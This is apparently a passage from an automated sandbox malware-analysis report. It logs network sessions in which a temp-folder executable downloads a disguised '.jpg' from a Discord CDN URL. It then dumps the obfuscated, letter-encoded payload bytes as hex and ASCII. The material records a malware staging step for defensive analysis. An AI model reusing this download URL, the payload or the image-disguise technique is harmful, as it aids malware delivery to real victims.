2021-10-29 15:55:26 UTC	964	IN	Data Raw: 4d 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 57 57 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 71 71 57 20 4f 20 71 4a 71 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 4d 58 20 4f 20 58 44 20 4f 20 58 57 20 4f 20 45 57 20 4f 20 45 6d 20 4f 20 58 57 20 4f 20 4d 58 20 4f 20 4d 4f 20 4f 20 71 71 70 20 4f 20 71 4f 58 20 4f 20 44 45 20 4f 20 57 6d 20 4f 20 71 71 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 71 70 20 4f 20 4d 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 45 20 4f 20 71 Data Ascii: M O XD O MM O WW O mp O DX O XO O WW O mp O DX O XO O DW O Ep O DM O DW O qOM O qqW O qJq O Em O XD O MX O XD O XW O EW O Em O XW O MX O MO O qqp O qOX O DE O Wm O qqW O qOq O Xq O mE O WD O qqp O MO O mE O WD O XE O EE O mE O WD O XE O EE O qOJ O qOE O q
2021-10-29 15:55:26 UTC	980	IN	Data Raw: 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 4d 58 20 4f 20 58 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 58 45 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: O qqm O Wm O mE O mE O mE O mE O XD O MX O XD O XW O DW O Ep O DM O DW O DW O Ep O DM O DW O DW O Ep O DM O DW O DW O Ep O DM O DW O DW O Ep O DM O DW O mE O mp O EJ O DM O mE O mp O EJ O DM O mE O WE O WW O DW O qOM O XE O DD O XE O DW O DW O DW O DW O
2021-10-29 15:55:26 UTC	996	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4f 20 4f 20 44 58 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 58 4f 20 4f 20 71 71 4d 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 58 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4a 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 71 71 44 20 4f 20 45 4a 20 4f 20 58 4f 20 4f 20 71 71 4d 20 4f 20 58 44 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 71 4a 4a 20 4f 20 57 44 20 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O EJ O qOD O qOp O DW O DD O qOE O qJO O DX O DD O XJ O qOO O EJ O XO O qqM O XW O qJJ O XJ O XW O DW O Eq O XJ O XW O qOO O DW O DD O DM O qqD O EJ O XO O qqM O XD O EE O XJ O qJJ O WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49805	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:26 UTC	1000	OUT	GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 15:55:26 UTC	1001	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:26 GMT Content-Type: image/jpeg Content-Length: 257637 Connection: close CF-Ray: 6a5d96931b667028-FRA Accept-Ranges: bytes Age: 23286 Cache-Control: public, max-age=31536000 ETag: "3943342e1b45e890a729310467090869" Expires: Sat, 29 Oct 2022 15:55:26 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591484284 x-goog-hash: crc32c=wAW+lg== x-goog-hash: md5=OUM0LhtF6JCnKTEEZwkIaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 257637 X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaoJgeenVA8XggFohgRrUig2qws-RHRUWddueA29G7svcIC2IfMWyq3dEjwegQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PhQT7UjdzTb67fah8d8nhwj0FtIpYfJ1WZRULFTG1Ks4%2BL%2BVk3y92rUoI9IJ%2B%2Bt7%2B8wdot%2FOpQRBZiFcZyH9LqIenrYKDaOFfTw%2Bp178zjIAKwhwNd88YAQE2XKJ6Izp0q5Hwg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 15:55:26 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 15:55:26 UTC	1002	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 Data Ascii: O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O q
2021-10-29 15:55:26 UTC	1003	IN	Data Raw: 70 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 4f 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 71 71 4a 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 71 71 4a 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 44 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f Data Ascii: p O qOD O qOp O qqM O DX O mE O Xm O DE O mX O MM O mE O Eq O XW O qqO O EX O qqX O qOO O qOW O EJ O DM O XO O qqJ O DX O Xq O XW O EJ O qqJ O qOp O DW O DW O DW O DE O WO O qOm O EJ O XX O qqO O mE O qqJ O qOW O qOW O DE O mE O Wm O EE O qOE O qOJ O mE O
2021-10-29 15:55:26 UTC	1005	IN	Data Raw: 45 4a 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f Data Ascii: EJ O qOD O mE O mE O mE O mE O mE O mE O Wm O qqE O qqm O qqp O mE O mE O qqq O Wm O EM O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O
2021-10-29 15:55:26 UTC	1006	IN	Data Raw: 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 57 4a 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 71 4a 71 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 Data Ascii: O qOX O qOW O Xq O XO O mp O ED O XX O qOM O EJ O mE O Em O Xq O WJ O XJ O qqM O Xq O qqM O ED O DW O DX O EW O qJq O EM O XM O qqm O mE O mE O mE O mE O mE O mE O mE O Wq O mE O mE O XO O mE O WE O mE O mE O qJJ O mE O mp O qqX O mE O Wm O mE O mE O qqm
2021-10-29 15:55:26 UTC	1007	IN	Data Raw: 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 Data Ascii: qOW O qqq O qqm O mE O Wm O mp O qqX O qqm O mE O mp O qqX O qqm O Wm O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
2021-10-29 15:55:26 UTC	1009	IN	Data Raw: 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 6d 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 4a 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 57 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 4d 4f 20 4f 20 Data Ascii: O DM O ED O mM O qOW O XW O qOp O DW O mX O mE O mM O WW O qOO O EJ O mE O Wm O qOq O qOD O XO O mE O WE O XX O XE O qJq O XO O mE O DX O qJO O MM O EJ O mE O qqX O MX O mE O DX O mE O mp O qqO O qqE O WW O XO O mE O Wm O mE O mE O qqm O mE O qqW O MO O
2021-10-29 15:55:26 UTC	1010	IN	Data Raw: 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f Data Ascii: M O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O
2021-10-29 15:55:26 UTC	1011	IN	Data Raw: 4f 20 44 44 20 4f 20 58 4d 20 4f 20 71 71 45 20 4f 20 71 4f 45 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 57 44 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 4f 71 20 4f 20 71 71 Data Ascii: O DD O XM O qqE O qOE O qqJ O qqp O EJ O mE O qOJ O XM O DD O WE O mE O Wq O qqJ O WE O qOJ O XO O WE O WJ O qOq O qqO O qqm O mE O qOO O Wq O qqJ O Wm O mE O Wq O EX O Wq O qOq O XO O mp O WJ O qqE O WD O Xm O mE O mp O qqX O mE O Wm O mE O WW O qOq O qq
2021-10-29 15:55:26 UTC	1013	IN	Data Raw: 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 57 Data Ascii: p O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qqE O XM O DW O mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O mE O mE O qqE O EE O mE O WE O WW O XE O DW O XO O mE O mE O mp O W
2021-10-29 15:55:26 UTC	1014	IN	Data Raw: 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 57 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 44 20 4f 20 4d 45 20 4f 20 Data Ascii: mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O WE O mE O mE O qJJ O mE O mE O qOJ O mE O WD O mE O mE O qqm O mE O mp O qqX O mE O qqW O WW O WE O mE O mE O qqD O ME O
2021-10-29 15:55:26 UTC	1015	IN	Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 Data Ascii: mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE
2021-10-29 15:55:26 UTC	1017	IN	Data Raw: 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f Data Ascii: E O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O
2021-10-29 15:55:26 UTC	1018	IN	Data Raw: 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 45 71 20 Data Ascii: qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O Wm O mE O mE O qqm O mE O mp O qqX O mE O mE O mE O mE O mE O mE O WJ O Eq
2021-10-29 15:55:26 UTC	1019	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 Data Ascii: O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
